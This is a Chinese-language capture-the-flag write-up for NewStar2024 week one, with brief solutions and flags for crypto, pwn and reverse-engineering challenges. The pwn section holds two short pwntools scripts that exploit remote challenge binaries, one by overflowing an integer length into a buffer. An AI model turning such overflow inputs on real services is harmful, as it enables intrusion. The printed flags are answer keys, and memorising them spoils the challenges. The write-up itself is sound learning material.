[NewStar2024]

新生赛，啊。第一周没啥过于入门了，大多数题没作也没提交。
Crypto

xor

俩值异或
base

hex-base32-base64
一眼秒了

p,q相邻开根号next求p
King

变形caeser很少见，先转小写处置惩罚末了再手搓回巨细写

1. a = b'ecxvpdersvcdgdgezxqjql'
2. for j in range(26):
3.     print(j)
4.     bytes([97+(a[i]-97-j-2*i)%26 for i in range(len(a))])
5. #pleasedonotstoplearing
6. flag{PleaseDoNotStopLearing}

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PWN

real_login

输入密码，NewStar!!!
game

输入100次10钱就够了
overwrite

输入负数转无符号时溢出

1. from pwn import *
2. context(arch='amd64', log_level='debug')
4. p = remote('39.106.48.123', 25432)
5. #在本地不成功,远程环境就行,为啥?
6. p.sendlineafter(b"pls input the length you want to readin: ", str(0x800000f0).encode())
7. p.sendafter(b"pls input want you want to say: ", b'2'*0x36+b'\x00')
8. p.interactive()

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gdb

先跟进去看看s是啥就行了

1. from pwn import *
2. context(arch='amd64', log_level='debug')
3. p = remote('101.200.139.65', 25408)
4. p.sendlineafter(b"Input your encrypted data: ",b'\x5d\x1d\x43\x55\x53\x45\x57\x45\x00')
5. p.interactive()

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Rev

begin

找啊找
base

变表base64

1. 码表'WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/'
2. 密文"g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc="
3. flag{y0u_kn0w_base64_well}

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ezAndriodStudy

找啊找，还好有提示
simple_encryption

叫分段函数呗，模3得0，1，2分别加密

1. a = bytes.fromhex('47953448A41C358864168807146A3912A20A375C075A5660127625128E28')
2. a = list(a)
3. b = []
4. for i in range(len(a)):
5.     if i%3 == 0:
6.         b.append(a[i]+31)
7.     elif i%3 == 1:
8.         b.append(a[i]-41)
9.     else:
10.         b.append(a[i]^0x55)
12. bytes(b)
13. #flag{IT_15_R3Al1y_V3Ry-51Mp1e}

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debug

1. >>> a = b"0/$9-:u+\t"7m\t$u12\x1c\x05\x01\x12&'+o>"
2. >>> len(a)
3. 26
4. >>> from pwn import *
5. >>> key = b'ATRI'
6. >>> bytes([i^0x17 for i in xor(a,key)])
7. b'flag{y0u_ar3_g0od_@_Debu9}'

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